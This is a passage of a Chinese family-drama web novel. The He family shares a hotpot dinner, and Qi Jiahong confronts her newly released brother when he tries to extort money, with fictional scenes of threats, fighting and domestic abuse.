食堂里吃的东西多,引来的耗子也多,一波又一波,没完没了。 贼猫这厢一罢工,那头食堂就炸了耗子窝,大白天的,都有耗子敢当着人面偷东西吃。 田润花一看这不行,餐饮行业最重要的就是卫生,耗子携带的病菌多,要是污染了食物,会造成严重的食品安全事故的。 恰好前不久有流浪猫把崽子生在了田家,等小猫满月,田润花连着猫妈带猫崽,一窝端到了食堂。 猫妈是个能干的,当天就叼回来十来只大大小小的耗子。 猫崽像妈,才巴掌大,就能撵得耗子满地吱吱乱窜。其中最厉害的小猫,甚至锁喉了一只比它还大一圈的耗子。 有了猫妈这一家,食堂鼠患的问题得到了控制,但新的问题也来了。 猫是有领地意识的动物。 贼猫将食堂划为自己的领地,现在却遭遇猫妈一家的入侵,它第一反应是驱逐入侵者,但—— 过程相当激烈,猫毛乱飞,贼猫被揍得鼻青脸肿,尾巴上一撮毛都被咬秃了,可怜巴巴地蹲在食堂门口,不敢再进来。 贺明珠瞧着可怜,找了个纸箱,把垂头丧气的贼猫带回了家。 时隔两年,贼猫再次回到贺家,这次,不需要绳子拴着,它也不想逃跑了。 贺明军故意往墙上又挂了一条冻鱼,嘬嘬嘬地引贼猫去看,纯心要钓鱼执法。 没成想,贼猫看也没看,拿屁股对着贺明军,猫脸上满是鄙夷 ——鱼没煮熟还是冻住的,谁吃这玩意?你就拿这来考验干部? 贺家人看了乐得不行,小狗欢快地摇着尾巴过去,拿鼻子拱得贼猫翻了一跟头。 它吃的肥,圆滚滚的一坨,被翻了面也懒得动,坚决贯彻在哪儿摔倒就在哪儿睡着的原则。 不过想了想,贼猫又蛄蛹几下,把肥美的身体严丝合缝地贴在了暖气上,舒展地伸了个懒腰。 自从家里装了暖气,连人带猫都进入窝冬状态,平时没事根本不想出门,只想抱着暖气天长地久。 就连贺明国都说:“怪不得大家在分房的时候都抢着要住楼房,有暖气的房子住起来果然舒坦。” 屋子里不需要生炉子,晚上睡觉的时候不用担心一氧化碳中毒,也不会满屋落得都是煤灰,甚至鼻子里也是黑乎乎的,有了暖气,生活质量直线提高。 不过炉子也不是完全就废弃不用了。 冬天正是吃火锅的时候,贺明珠找人打了一整套的黄铜火锅,锅底烧木炭,伴 随着噼里啪啦的烧炭声,锅里咕噜噜地冒起蒸气。 烟雾缭绕,贺家人围坐在桌前,热火朝天地涮起了羊肉。 羊是恩和森送来的草原羊,一年的小羯羊,肉嫩得很,没有一丝膻腥,羊肉的脂肪和肌肉相间,有着如同大理石一般的美丽花纹。 贺明珠亲自动手,将羊肉切得极薄,对着灯都能透光,筷子挑着肉,在锅里涮个几秒就熟了。 贺家人难得有时间坐在一起吃一顿涮锅,平时大家上班的上班上学的上学,同在一个屋檐下,却经常是忙得见不着人影。 如今难得人齐,贺明珠也来了兴致,细细地切了好几盘肉,再加上白菜、冻豆腐、干香菇、冬瓜、粉丝等配菜,满满当当地摆了一大桌。 加上羊肉属于热性食物,大冬天吃上一锅的涮羊肉祛风散寒,还不容易上火,正适合这个季节。 贺小弟如今是一名小学一年级的学生,筷子使得愈发顺溜,即使是从火锅里夹菜也能轻松完成,吃得不亦乐乎,嘴边沾了一圈的麻酱。 光吃还不够,贺小弟指着桌上几盘看起来大相径庭的羊肉薄片好奇地问了起来。 “姐,这是啥肉?” 贺明珠看一眼:“这是羊上脑。” 贺小弟迷糊了:“羊的脑袋里面也有肉吗?那不就成了姐经常说的‘脑子里长肌肉了’了吗?” 贺明军没忍住,笑得呛咳出声。 “咳咳咳,什么脑子,羊上脑是羊后脖子上的肉。” 这块肉是羊身上最细腻鲜嫩的部分,极为稀少,一只几十斤的羊也出不了几两的上脑肉。 贺小弟来了兴趣,拉着贺明军问桌上的几盘肉都是羊身上的什么位置的肉。 贺明军也耐心,一一指出,这盘是羊臀尖,那盘子是羊前腿,还有黄瓜条儿——别误会,羊身上长不出黄瓜,这是羊后腿上的一块形似黄瓜的肌肉。 贺小弟听得津津有味,贺明军讲得很有成就感。 他和刚从广东回来时不一样了,现在论起厨艺,全店也没几个人比他更懂行。 简而言之,他是管理层里厨艺最好的,也是厨师里最懂管理的。 括号,贺明珠除外。 贺明军给贺小弟讲完桌上的几盘肉,带着点骄傲地一抬下巴。 “怎么样,你二哥厉害不厉害?” 贺小弟眼睛滴溜溜地转,一脸的调皮。 “厉害是厉害,可是,肉都被我们吃完了,嘿嘿~” 趁着贺明军介绍的工夫,贺小弟边听边涮肉,把涮好的肉夹给了大嫂和姐姐。她们俩的碗都装满后,又给贺明国夹。 现在盘子是空的,锅里也是空的,贺明军的碗里还是空的。 贺明军啧了一声,像敲西瓜似的屈指敲了敲贺小弟的脑门。 “你小子,拿你二哥寻开心呢。不就是几盘肉吗?你等着,哥现在就给你露一手。” 贺明军拿刀切肉,随手耍了个刀花,唰唰几下,就又切好几盘子的肉。 贺小弟看得眼睛直放光,大喊:“二哥,你太厉害了,我也要学,我也要!” 贺明军收刀入鞘,一挑眉毛:“想学?去,先给你二哥涮肉。” 贺小弟屁颠屁颠地当起了小服务员,殷勤地伺候贺明军用餐。 贺家其他人看得有趣,故意抢着使唤贺小弟,一会儿要他去取双新筷子,一会儿是饮料喝完了,过来帮忙续杯,把贺小弟忙得像个小陀螺。 小狗也跟着添乱,兴奋地跟在贺小弟身后转悠,结果忙没帮到,险些把他拌了个跟头。 屋子里又笑又闹,气氛热烈极了,窗外飘飘扬扬地下起了雪。 “咳咳,静一静,都静一静,我宣布个事儿啊。” 贺明国忽然开口,将全家的注意力都吸引过来。 贺明珠好奇地看着他,贺明军挑起一边眉毛,贺小弟眼巴巴地等,而齐家红眼中含笑,已经知道他要说什么了。 贺明国清清嗓子,带着点儿嘚瑟地说:“那什么,我要从夜大毕业了,而且是优秀学员。打今儿开始,我就是咱家学历最高的人了。” 贺明军第一个反应过来,嫌弃地嘁了一声。 “不就是夜大么,瞧把你嘚瑟的,你这学历最高的头衔最多也就能坚持半年,等明珠考上大学了——” 贺明国抢先答道:“那我就是咱家学历第二高的人了。” 他看向哑口无言的贺明军,故意说道:“老二,你嫂子年后也打算去读夜大,把学历提一提;虽然老四现在在咱家学历垫底,但他年纪小,将来还有发展空间,说不准啊,以后你就是咱家学历最低,靠一己之力拉低咱家的平均学历啊。” 贺明军嘴角抽搐,这个老大,什么时候学会说话扎人心窝这一套的? 不过,他是不是也需要提升一下学历了…… 不然到时候一家子有文凭的大学生,就他一个高中肄业生,是不是有点不太合群啊? 在得知贺明国夜大毕业后,贺明珠双眼发亮地说:“大哥,既然你已经夜大毕业了,是不是可以当技术员了?” 贺明国笑着点点头:“我已经和分矿申请调岗了。” 自从贺明珠的生意越做越大,养家的重担不再全部压在贺明国肩上,全家不指望依靠他每月的工资过活,这份井下工作就愈发鸡肋,甚至有些弊大于利。 之前贺明珠拉着贺明国去做了体检,又替他报名夜大,言辞凿凿说等他毕业后再调岗,实际上,没过多久贺明珠就找张副矿长帮忙,把贺明国的岗位换成了地面的。 虽然还需要值班,但因为不需要下井,工作的危险程度和对身体的损害度都少了大半。 贺明国起初还有些别扭,觉得这是走后门,堂堂正正的工人怎么能干这种事? 贺明军看出来了,把他呲了一顿,吐槽老大纯属是身在福中不知福,再说了他是调到地面工作,又不是抢了什么肥差,哪有走后门的工资待遇不涨反降啊? 贺明国一听也是,他这属实是钻牛角尖了,想通了也就不别扭了,安安心心过起了上班上学回家的三点一线生活。 如今两年多过去,贺明国终于从夜大毕业,取得了国家认可的**,而且在经验丰富的老师傅手把手的教导下,能够熟练修理煤矿的新旧机器,完全符合技术员的上岗要求。 其他矿工都很羡慕贺明国,从流血流汗的煤黑子摇身一变成为坐办公室的技术员,显而易见的前途更加光明。 贺明珠高兴地说:“早知道是这么好的消息,就该从店里拿一瓶好酒回来,我们好好庆祝一场。” 贺明国笑着指了指桌上的铜火锅:“这样就很好了。你瞧,小弟吃得肚子都鼓起来了。” 贺小弟配合地拍了拍自己的小肚子。 “姐,我觉得我又要吃乳酶生了。” 这时,门铃忽然响起。 贺明国披上衣服去开门,门外客人完全出乎他所料。 “家乐,你怎么来了?你不是在分矿的饭店上班吗?” 来人正是齐家红的弟弟,齐家乐。 齐小弟皱着眉,脸上满是不安和担忧,以及一丝掩饰不住的愤怒。 贺明国有些奇怪,不过他还是说:“你是来找你姐的吧,外面冷,先进屋,进屋说话。” 齐小弟却没进去,反而拉住贺明国的手,急切道:“姐夫,我有要紧事。” “我大哥大嫂出狱了。” 第157章 第157章龙场悟道齐大哥(补全…… 齐大哥和齐大嫂出狱了。 在经历了两年的劳改后,两公婆因在狱中有悔改表现,积极参与劳动,获得了减刑,最终在年前刑满释放。 在监狱期间,齐老太长途跋涉坐车去看过他们,还带了一大包的替换衣服和吃的。 对于一个从没出过远门的老太太来说,在这个满是车匪路霸的年代去一个完全陌生的地方,是一件很困难的事。 当时隔着铁栏杆,齐大哥和齐老太抱头痛哭,言语间充满了悔恨,满口都是他不是人,等出狱了要向小妹下跪道歉之类的忏悔。 不过,等他真的出狱了,就是另一回事。 齐小弟起先并不知道兄嫂出狱的事,他大部分时间都在分店上班,隔个十天半个月的才会回来一次,给家里扛煤球修水管扛粮食,再看看爹妈身体怎么样。 齐小弟到底是和家里有了隔阂。 在他懂事后,自己都唾弃自己过去的言行,而他当时已经是齐家病得最轻的了。 一想到齐大哥齐大嫂和齐老头都做了什么,齐小弟连家都不想回。 但他是个心软的孩子,做不到和家里一刀两断,特别是还有齐老太在,也只好这样别别扭扭地维持一个不远不近的距离。 这段时间分店事多,齐小弟有一个多月没回家,不知道家里发生了什么事。 曹全安要退居二线,渐渐将手上的事情交给齐小弟;而与此同时,贺明军打算扩大分店规模,以接待更多的食客。 事情都挤到一起,齐小弟一时间忙得不可开交,等他好不容易抽空回家,却发现家里多了两个人,而气氛也迥然变得阴沉起来。 齐小弟吃惊道:“大哥?大嫂?你们怎么回来了?” 齐大哥头发剃得极短,露出青茬,看人时低着头,从下往上瞄,说话时皮笑肉不笑。 “老三,你这日子过得舒坦啊,连家都不回了,你心里还有我这个大哥吗?” 齐大嫂也剪了短发,脸上两道刀刻般的法令纹,皮肉沉沉地下坠,尖酸极了。 “怎么,你以 为我们是偷跑出来的?哼,我告诉你,是政府放我们回家的,你还想报警再把我们送进去?我看你就是不想让我们回来,想自个儿把家里的房子给占了吧!” 齐小弟皱眉:“我就问一句,你们没必要这样说话,没人不让你们回家。” 齐大哥冷哼一声:“谁知道你想不想让我们回来,两年了,你没一次去劳改农场看我,也没给我写过一次信,送过一次钱,你知道我在里面怎么过的吗?!” 齐小弟不惯着他,径直道:“对,我是不想让你们回来,你们干的什么事自己不清楚吗?我恨不得一辈子都不要见到你,怎么可能去看你!” 齐大哥没想到印象中跟屁虫似的小弟现在居然会怎么对他说话,被气得整张脸涨红,额头青筋贲起,呼哧呼哧直喘气。 “我是不是给你脸了?!你是不是想挨揍?!” 齐老太低低地劝道:“别说了,别说了,好不容易一家子聚在一起,都高兴点儿……” 齐大哥甩开齐老太的胳膊,把她甩了一个趔趄,齐小弟急忙上前扶住她。 “我告诉你,我是大哥,这家我说了算,还轮不到你说话!” 齐小弟嘲道:“大哥?差点害了自己亲妹妹的大哥,我可消受不起。” 齐老头拄着拐杖从屋里走出来,用拐杖重重在地上敲了几下。 “反了你了!齐家乐,你要是不能好好和你大哥说话,就不要回这个家了!” 齐小弟深深看了齐老头一眼。 在齐大哥和齐大嫂劳改的这段时间里,齐老头一人的退休工资无法养活全家,平时全靠齐小弟出钱出力,才让家中的生活水平没有断崖式下跌。 因为分店的工资高福利好,逢年过节就给员工发肉蔬大礼包,还有整箱的罐头,齐家的日子比之前还要好过。 齐老头原本干巴巴的,瘦得像一节老树根,如今吃得好,整个人都滋润起来,脸上的皮都舒展开。 因为是齐小弟养家,加上家里只有这一个青壮年,齐老头的嗓门都变小了,平时对齐小弟不知有多和颜悦色,甚至都有点巴结了,和之前的态度比起来,简直是冰火两重天。 只是没想到,当齐大哥和齐大嫂回来,齐老头又故态复萌,耍起了大家长的威风。 “不让我回家?” 齐小弟冷笑一声:“你以为我很想回这个家吗?既然你的心肝大儿子回来了,以后家里的事我都不管了,你们爱怎么过就怎么过。” 说罢,也不等其他人说话,齐小弟毫不留恋地转身就走。 他的私人物品都放在了分矿的宿舍,现在齐家已经没有他的东西了。 要出门前,齐小弟停下脚步,转头看向齐老太:“妈,你跟我走吧,我给你养老。” 齐老太嗫喏着没说话,齐小弟见状不再多说,干脆地离开了齐家。 关上门时,他听到身后传来的暴喝。 “齐家乐,有本事你这辈子都别回来!” 齐小弟加快了脚步,心想得赶紧把齐大哥和齐大嫂出狱的事告诉齐家红。 贺家人听到这个消息后,虽然有些吃惊,但并不算意外。 齐小弟说完就要走,贺明国邀请他进来吃火锅,齐小弟犹豫着站在门口。 贺明国笑着说:“现在这个时间点也没有上矿的公交车了,这么晚了你还能去哪儿?你今晚就在我们家睡,明天再回分店也来得及。” 却之不恭,齐小弟加入了贺家的涮锅活动,将一腔心事都投进滚烫的铜锅中。 贺明军看出他的强颜欢笑,便拿出分店的事来打岔,聊起了分店未来的发展。 另一边,在得知齐大哥和齐大嫂出狱后,齐家红心情复杂,有厌恶,也有担忧,还有些不安。 贺明国牢牢握住她的手:“有我呢。” 贺明珠也注意到,安慰道:“大嫂,别怕,都过去了。” 齐家红勉强露出一个笑:“我只是……” 她摇摇头,没说下去。 不管是与齐大哥的兄妹关系,还是对齐家的复杂感情,齐家红都不知道要如何面对。 贺明珠轻轻地说:“总该要有个定论。法律给了他们审判,可你还没有。” 齐家红若有所思。 自从齐小弟愤而离家后,齐家的生活水平断崖式下跌。 原本齐老头的退休工资就不高,养活他和齐老太以及两个孙子都费劲儿,如今加上了齐大哥两口子,生活费更是捉襟见肘。 由于犯罪,齐大哥和齐大嫂被单位双双开除,如今没有工作,也没有了收入。 而现在的工作岗位本就不多,狼多肉少,有的是履历清白的候选人,用人单位压根就不会考虑雇佣有前科的齐大哥和齐大嫂。 照理来说,两口子此时应该想方设法打零工挣钱,哪怕是糊纸盒子每天也有几毛钱的入账。 但这两口子在入狱后龙场悟道了,本来只有五分坏,如今却是实打实的全坏,坏得可以拧出汁儿。 两人理直气壮地赖在家里啃老,大爷似的使唤齐老太,顿顿要求吃香的喝辣的,说起来就是在劳改农场受委屈了,要全部都补回来。 齐老头的退休金哪经得起他们这么吃,何况齐大哥还要抽烟酗酒,半个月的工夫就把齐老头这两年攒的钱都造干净了。 距离下个月发退休工资的日子还有半个多月,家里的粮缸已经见底。 齐老头鼓动齐老太去找齐小弟要钱,齐老太不肯,被齐老头狠狠地骂了一顿。 齐大哥听到了,醉醺醺地说:“老三能有几个钱,他一个穷打工的,全靠人家施舍的两个钱过活。要找就找老二,听说她男人家里开了好几家饭店,还有厂子呢,家里的钱都堆成山了。总不能她好吃好喝地当少奶奶,让我们吃糠咽菜吧?” 难得的,齐老头没有附和大儿子的话,反而和齐老太对视一眼,谁都没说话。 齐大哥不高兴了:“你们什么意思?咋了,还怕了她这个丫头片子不成?要不是她,我至于被关了两年,现在还没了工作?她够狠心,害了亲兄弟不说,还不想管爹妈的养老,我可不能让她好过!” 齐老头还是不说话,齐老太反而开了口。 “老大,家里没钱我去找人借点,总归能借到的。你妹妹……就别找她了吧,她……也不容易。” 齐大嫂听到这话,眉毛一竖,开口就骂。 “她不容易?难道我们就容易了?!那劳改农场根本就不是人待的地方,你知道我们受了多少罪吗?齐家红是你亲闺女,他齐家和就不是你亲儿子了?!她都把我 们害成这个样子,找她要点钱都算便宜了她,惹急了我,一刀就把她脑袋剁下来喂狗!” 齐老太急了:“使不得,使不得!” 齐大哥阴恻恻地说:“你现在就去找她拿钱,要是不给个万儿八千的,你告诉齐家红,以后出门小心点,她不拿我当哥,我也没她这个妹妹,别怪我心狠手辣!反正我已经进去过一次了,不怕再进去一次!” 齐老头还是不说话,冷眼看着齐老太被逼出了门,被威胁拿不到钱就不让她回家。 齐老太拍了一会儿门,左邻右舍都看过来,她不得不放下手,假装无事地走出小巷。 她边走边抹泪,怎么也擦不干,只觉满腔都是酸楚苦涩。 齐老太最后也没去找齐家红,她没脸。 而齐大哥见齐老太两手空空地回来,勃然大怒,把亲妈推了个趔趄,自己气势汹汹地冲到贺家。 他早就打听过了,贺家买了新房子,足足花了一万块钱——有钱买大院子,就没钱给他花吗? 到了地方,齐大哥也不敲门,抬脚就踹。 “齐家红,你给我出来!” 大门被猛然拉开,贺明国怒气冲冲地出来。 “喊什么喊!欠揍是不是?!” 面对比他高壮还比他年轻的贺明国,齐大哥下意识向后退了一步,反应过来后,他色厉内荏地挺着胸膛冲贺明国撞过去。 “就是欠揍!怎么了?有本事你打我啊!” 贺明国不客气地说:“滚出去!我家不欢迎你!” 齐大哥不肯走,堵在门口耍赖。 “你白睡了我妹妹,还睡了两年,你是不是该给我家钱?我家把齐家红养这么大,你总不能一分钱都不花,就白得这么一个黄花大闺女吧?就算去找外面卖的女人,睡一次也要给一次钱,你自己算算,你欠了我家多少钱?” 贺明国显然被激怒了。 而齐大哥指着脸,挑衅地对贺明国说:“来,冲这儿打!你敢碰我一下,我就让你也去蹲监狱!” 齐家红扑上来,死死拉住贺明国的手。 “别冲动,为了他这种人,不值得!” 见到齐家红,齐大哥明显楞了一下,有些认不出面前这个浑身洋溢着幸福的女人。 但回过神来,他眼中爆出贪婪和狠毒的精光。 “你还敢出现在我面前?!齐家红,你这个狗娘养的表子,你知不知道你害得我多惨!” 他抬手就去扯齐家红的长辫,用力极大,要是被他扯实了,连着头皮都能扯下来。 说时迟那时快,一根长棍突然击中齐大哥的手腕,疼得他猛一缩手,发丝在指端滑过。 “齐家和,你是不是蹲大牢蹲得脑子傻了,敢来我们家撒野?” 贺明珠拎着棍子走过来,嫌弃地说:“找我哥嫂要钱,你想讹谁呢?国家给了你一次洗心革面从头做人的机会,你却只想二进宫,是不是监狱管吃管住,给你在里面待爽了啊?” 齐家红原本又惊又怒,可听到贺明珠的话,她差点没笑出声,心中顿时一松。 贺明国也是一样,差点都要打起来了,被这几句话一说,满腔的怒火都被冲淡几分。 齐大哥还是头一次见贺明珠,之前他只在别人口中听说过这个厉害的小姑娘。 没想到百闻不如一见,看着高挑漂亮的小姑娘,说起话来却比传闻中更泼辣,更不好惹。 “我和你家大人说话,有你什么事?!我告诉你,惹急了我,我什么都干得出来!” 贺明珠嘁了一声:“什么叫没我的事?你想讹我们家的钱,这当然关我的事。再说了,你能干什么,你想干什么?你要是真想在监狱里待着,还争什么悔改表现、减刑出狱啊?在里面打架斗殴、挑衅滋事,不就有机会加刑了吗?明明对监狱怕得要死,在这儿吓唬谁呢?” 在齐大哥青一阵白一阵的脸色中,贺明珠闲闲地补了一刀。 “就你还敢来我家威胁人,我看分明应该是我来威胁你才对——你要是敢来打扰我家的生活,就别怪我不客气;你要是敢动手,我就让你把牢底蹲穿,我说到做到。” 齐大哥恨恨地瞪着贺明珠,却什么都不敢做。 贺明珠说得没错,齐大哥确实不想再被关到监狱了。 他已经吃够里面的苦头,低声下气地装了两年孙子,好不容易出来能展展筋骨,不用做每件事前都要向管教请示。 人只有在失去自由的时候,才格外知道自由的可贵。 不敢再威胁贺家人,齐大哥眼睛一转,换了个说辞。 “齐家红,爹妈养你不容易,你现在过上好日子了,是不是也该让爹妈享享福了?” 第158章 第158章开端与结束(补全)…… 享福? 贺明珠反应极快,没等齐家红回答,抢先反问道: “是让老人享福,还是让你享福?要知道在你们回来之前,他们的日子可比现在过得好多了。如果说现在他们是在吃苦,那都是被你们连累的。” 齐大哥脸皮极厚,当即就说:“都是一家子,还要分出个谁吃苦谁享福不成?难不成爹妈还能眼睁睁看着儿孙吃糠咽菜,自己却吃香喝辣?” “能啊,为什么不能?” 贺明珠一句话就堵住了贺大哥的嘴,接着又来了一句:“你爹妈不容易都是因为生了你这个‘好’儿子,以前是这样,现在是这样,未来也是这样,你才是你们家的祸根。我要是你爹妈,就该出生的时候给你扔给苏联人,有你在,牢不可破的联盟肯定能破裂解体,也算是你为国家做贡献。不过现在也不晚,赶紧把你扫地出门,老两口至少也能过上安稳的晚年生活。” 齐大哥气得说话都结巴了:“你,你,你……” “我什么我,你蹲大牢蹲得把舌头落里面了?” 贺明珠嫌弃地看了齐大哥一眼,对贺明国说:“哥,关门吧,这晦气玩意再搁咱家门口待着,这片的风水都得变差。” 贺明国忍着笑:“行,我这就关门。” 贺明珠这才转身回屋,边走边摇头,自言自语道: “果然不该和蠢货多话,再说下去感觉我的智商都要被污染了。” 齐大哥几乎要被气晕。 他被贺明国粗暴地扯到门外,在将要关门之际,手掰着门缝,冲齐家红嘶吼道: “你以为有贺家给你做靠山就了不起?我告诉你,你别想撇开我们过好日子!你今天能撵走我,我明天还会来!来不了贺家我就去你单位!你身上流着齐家的血,你一辈子都是齐家人!” 贺明国大怒,当他要向齐大哥挥拳的时候,旁边有人的速度比他更快。 “啪!” 一记响亮的耳光重重地抽在了齐大哥的脸上,用力之大甚至打偏了他的脑袋。 “从小到大,你们就在家里说‘嫁出去的女儿泼出去的水’,现在我真的嫁出去了,你又说我身上流着齐家的血——合着有好处的时候,我是外人;想从我身上占便宜的时候,我就成了自家人?” 齐家红冷冷地看着齐大哥,因为用力过度,她的手心还有些发麻。 “我以前是真拿你当哥了,但你是真不配。” 齐大哥不可置信地瞪着齐家红:“你居然敢打我?!” 齐家红对此的回应是另一记更加响亮的耳光。 “齐家和。” 齐家红一字一顿地念出齐大哥的名字。 “我打你怎么了?打的就是你!从你谋划要把我卖出个好价钱的那天起,你就不配再当我哥!齐家也不是我的家!不,从小到大,齐家从来都不是我的家!” 齐家红厌恶地看着齐大哥,就像在看一只爬进了碗柜的蟑螂。 “不管你来找我多少次都是没用的,我一分钱也不会给你,你就死了这份心吧!” 齐大哥一听急了,冲着齐家红大喊大叫:“你心怎么这么狠?!就算你不给我钱,你连爸妈都不管了吗?爸妈从小把你养大不容易,家里没饭吃,你就眼睁睁看着他们饿死吗?!” “饿不死的。” 齐家红冰冷地说:“爸能卖闺女换钱,就能卖儿子,卖孙子。真到了没饭吃的那天,你还是担心自己别被卖到黑煤窑吧。” 齐大哥吃惊地看着齐家红,几乎忘记了脸上的疼痛,他心软天真的妹妹,居然有一天也会说出这样冷酷无情的话。 “你、你怎么能说这种话?” 齐家红已经不想浪费时间听齐大哥说话了,她捡起刚刚贺明珠拿过来的长棍,冲着齐大哥扒着大门的手指就敲了下去。 齐大哥吃痛收手,贺明国趁机关上大门,气得他在门外跳脚叫嚣。 齐家红放下木棍,想了想,又去接了一盆水。 见大门忽然打开,齐大哥探进半个身子试图挤进来,然而,说时迟那时快,一盆冰冷刺骨的水迎面泼了过来。 齐大哥猝不及防,被泼了个正着,顿时半个身体都湿透了,立竿见影的,冬日严寒攀上他的身体,冻得他脸色青白,话都说不清楚了。 “你……你……” 齐家红难得露出笑意:“行了,这回你爱待多久就待多久吧。” 棉袄吸透了水,沉甸甸的贴在身上,不多时就开始结冰,变成硬邦邦的甲壳。 齐大哥冻得牙齿上下碰撞,浑身上下就心口处还剩下一口热乎气,全身的温度都被湿衣服吸走了。 北方的冬天可不是开玩笑的,“冻死人了”是事实陈述而不 是形容词,零下二三十度足以把骨髓都冻成炒酸奶。 这回没人赶齐大哥了,他自己受不住,哆嗦着两条腿,佝偻着身体,颤颤悠悠地往家奔。 临走前,他心不甘情不愿地扔下狠话:“你、你给我等着!这事儿没……阿嚏!没完!” 齐大哥很想没完,但现实没给他机会。 他被泼了一身冷水,回去就发高烧了,病得爬不起炕,更别提去找人麻烦了。 雪上加霜的是,由于家里缺医少药,炭柴不足,吃的也没营养,一场受凉引起的小感冒不断恶化,最后变成肺炎,齐大哥半条命都快被耗没了。 最后是齐老头厚着一张老脸找上老单位,预支了上半年的退休工资,这才有钱带着齐大哥上医院。 在呼吸科连输了几天抗生素后,齐大哥的小命终于被从死亡边缘拉回来。可病才好一点,他气势汹汹地就要去找齐家红的麻烦。 齐大哥联系了他在劳改农场认识的社会上的“兄弟”,想要给齐家红和贺家人一点苦头尝尝,也省得他们不见棺材不落泪。 但还没等他动手,就被人堵在墙角一顿揍。 贺家那个英俊却充满煞气的老二拎着一根铁棍,冲着齐大哥冷笑。 “敢对我家里人动手,你是活得不耐烦了。” 铁棍一端卡在齐大哥下巴,逼着他仰起脑袋,而贺家那个煞神俯身与他对视。 “你知不知道我以前是干什么的?不过就蹲个号子,还给你蹲出能耐了,就这点本事还想学人家勒索,我看你是过得太舒坦了。” 在齐大哥恐惧的眼神中,贺明军把一块破布塞进他的嘴里,接着缓缓举起铁棍,忽地露出一个充满血腥气的笑容。 “别紧张,很快就好,我下手很准的。” 伴随着咔嚓一声脆响,齐老头又向老单位预支了下半年的工资,这次是去骨科看病。 齐大哥彻底吃够教训了。 他意识到,齐家红不再是他能随便欺负的对象,她给自己找了个好靠山。 而贺家也不是他能招惹的对象,虽然那是一座明晃晃的金山,但贺家的金子有毒,沾手就死,他还想多活几年。 没有目标,没有希望,没有未来…… 齐大哥彻底颓了。 齐大嫂恨得不行,特别是看到齐大哥每天像一滩烂泥似的瘫在炕上,吃喝拉撒都在这个不足十平米的小屋解决时,她恨不能掐死齐大哥。 “你个窝囊废!我怎么会嫁给你这个窝囊废!都是你,我这辈子被你毁了!你怎么还不去死啊!” 齐大哥回骂道:“你这个毒妇!要不是你说要把老二介绍给你姨弟,家里至于会变成现在这个样子?!当初就不应该娶你!你这个丧门星!” 齐大嫂大怒,冲着齐大哥的头脸就挠了上去。 “好啊,你还敢骂我!还不是你嫌贺家给的彩礼不够多,要把你们家闺女卖给我姨弟?你自己想卖妹妹换钱,还有脸怪在我头上!” 齐大哥不是那种不打女人的人,他毫不在乎男女之间悬殊的体力差距,也不在乎齐大嫂为他生了两个儿子,扯着齐大嫂的头发,就把她往墙上撞。 “你当时为什么没拦住我妈!一个老太婆而已,你要是拦住了,不就能把老二嫁给你姨弟吗?!你个废物,什么也做不成,你活着有什么用!” 齐大嫂的手胡乱挥舞,死死掐着齐大哥的脖子,恨不能掐断。 “你这个没人伦的畜生,连你亲妹妹都不放过!你就该死在劳改农场!” 这对互相怨恨的夫妻再次大打出手,带着恨不能打死对方的狠厉,两个儿子被吓得哇哇大哭。 齐大嫂早就不想和齐大哥过了,但娘家不会接纳她,社会也不会接纳她这个有前科的人,一时间,除了齐家还能提供一片窄窄的屋檐,天下竟无她的落脚之地。 而齐大哥也是如此。 因此,即使相互憎恶,但因为没有选择,也只能继续憎恨着做夫妻。 在这样的家庭氛围中,齐老太老得很快,眼花了,背驼了,走路颤颤悠悠,舌头也尝不出咸淡。 当她再一次在菜里放了过量的盐后,被暴怒的齐大哥赶出了家门。 “你这个老东西是不是故意不让我们好好吃饭?!做个饭这么简单的事,你都做不好,还留在家里干什么?白吃白喝的老废物,去找你的好闺女好儿子养老去吧!” 当然,这不止是因为齐老太做咸了几次饭的原因。 更多的是,当时齐老太救下了齐家红,坏了齐大哥的事儿,直接导致了他的失败人生。 而更重要的是,齐老太没有退休工资,现在连老佣人的工作也做不好,已经没有在这个家存在下去的价值了。 而少一个人,家里就能少一份花销,省下的钱可以买烟买酒。 齐老太彷徨地坐在门前,像一只被弃养的老狗,试图等待主人心软,打开那扇紧闭的大门。 从白天到黑夜,最后还是看不过去的老邻居把她拉进了家。 “齐家老大两口子简直不是人,居然把自己亲娘赶出来,什么玩意儿!” “现在怎么办?要不然找街道问问?” “街道哪管得了那两口子,人家蹲过监狱,现在是谁也不怕,厉害的不得了哟。” “那怎么办?齐婶年纪这么大了,养老是个大问题啊。” “别急,齐婶还有个闺女和小儿子,总不至于他们都不管吧。这不,闺女下班就来了……” 齐老太原本木然地坐在一旁,其他人的话从她耳旁滑过,没有一句进入她心里。但当听到齐家红的名字,她猛地抬头。 “不能……不能找她……” 话说的有些晚了,齐家红已经到了,身后跟着贺明国。 齐家红和贺明国体贴地没问为什么齐老太会被赶出家门,只是谢过邻居,搀扶起齐老太,要带她回家。 齐老太羞愧地低下了头,摇着头,哽咽得一句话都说不出来。 齐家红也跟着落下泪来,心酸不已,而贺明国笑着说:“妈,别哭了,走,咱们回家。” 回家。 当齐老太再次来到贺家时,这里和她第一次来时完全不一样了。 宽敞的庭院,明亮整洁的房间,进门后像是一只脚踏进了春天,温暖得让人心里发颤。 饭桌上放着一大盆的牛肉炖土豆,在眼睛看到之前,浓烈的香味就已经扑鼻而来。 牛肉每根纤维都吃透了汤汁,半透明的牛筋勉力地粘合,筋酥肉软,筷子轻轻一夹,就 碎成两半。 大块的土豆被炖透了,原本棱角分明的边缘融入肉汤中,要化不化的,将汤汁变得更加浓稠。 原本淡而无味的土豆,现在充满了牛肉的醇厚滋味,轻轻一抿,就碎在舌尖。 桌上还放着一碟碧绿的蔬菜,在这个缺乏反季节蔬菜的年代,看起来比肉还要珍贵。 齐家红把齐老太扶到桌前,贺明国拿来碗筷,这时,贺明珠从厨房出来,左手端着一碗米饭,右手拿着一盘馒头。 “齐婶,不知道你喜欢吃米饭还是吃馒头,我都端上来吧,要是想吃面条也行,现擀面条下锅,一会儿就好。不过我个人建议,牛肉炖土豆配米饭最好吃,再配上我嫂子腌的酸黄瓜,那滋味绝了。” 面对一桌熨帖的家常菜,齐老太没说话,也没动筷子。 在齐家红忍不住要催促时,却见齐老太低着头,袖子擦着眼泪。 “对不住……对不住……我糊涂啊……糊涂啊……” 她后悔当初那么粗鲁地对待贺家人,还想欺负贺家没大人,从他们身上多占点便宜。 如今贺家却不计前嫌,接纳了她这个被赶出家门的老东西,连亲儿子都容不下她,这里却为她敞开了大门。 “对不起,我对不起你们啊……” 齐家红忍不住跟着落泪:“妈……” 贺明国握住了齐家红的手,贺明珠递上两块手帕,安慰道:“都是一家人了,以后咱们好好过,日子还长着呢。” 